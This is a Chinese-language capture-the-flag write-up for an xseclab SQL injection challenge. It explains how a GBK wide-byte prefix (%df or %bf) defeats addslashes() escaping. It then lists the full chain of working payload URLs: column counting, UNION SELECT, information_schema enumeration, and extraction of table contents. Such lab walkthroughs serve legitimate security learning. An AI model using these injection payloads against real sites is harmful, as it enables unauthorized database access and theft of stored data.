防注入分值: 300
小明终于知道,原来黑客如此的吊,还有sql注入这种高端技术,因此他开始学习防注入!
老办法,没有信息就看F12呗
html里面有一个tip id=1
ok 知道该怎么做了 http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1
然后尝试来一个单引号 '
界面不行了,啥也没有,说明waf过滤了单引号,
这个时候就要考虑到用宽字节%df绕过
经测试,只要是宽字节都可以比如使用%e0。
ascii码大于127的均为宽子节
这里略带一提
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes()
转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了
也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了
GBK编码,它的编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,
在这里 %5c就是‘\’
%df在碰到%5c后,会被拼接在一起变成
而%27、%20小于ascii(128)的字符就保留了。
若有些关于unicod,utf-8,gbk,之类的不清楚的可以查一下知乎以及 http://www.91ri.org/8611.html
我们在输入了
?id=2%df%27%20order%20by%203%23
实际上等于?id=2%df' order by 3#
?id=2%df%27%20order%20by%204%23
之后,可以判断出,字段数为3
then
lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%df%27%20UNION%20SELECT%201,2,3%23
接下去按着前一篇文章慢慢来
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf%27%20union%20select%201,concat(group_concat(distinct+schema_name)),3%20from%20information_schema.schemata%23
这个url有点长啊。。。主要用到的是concat(group_concat(distinct+schema_name))
至于每个函数的功能自己查吧
然后就是自己翻 用这个
concat(group_concat(distinct+table_name))
打开mydbs
别打开test了。。。我已经打开过了。里面啥都没有!!
next
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2¿' union select 1,concat(group_concat(distinct+column_name )),3 from information_schema.columns where table_name=0x7361655F757365725F73716C6934#
胜利就在前方!!!
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2¿' union select 1,concat(group_concat(id,0x3a,title_1,0x3a,content_1)),3 from sae_user_sqli4 #
OK了,这两道题的套路都还差不多了,希望大家多熟悉熟悉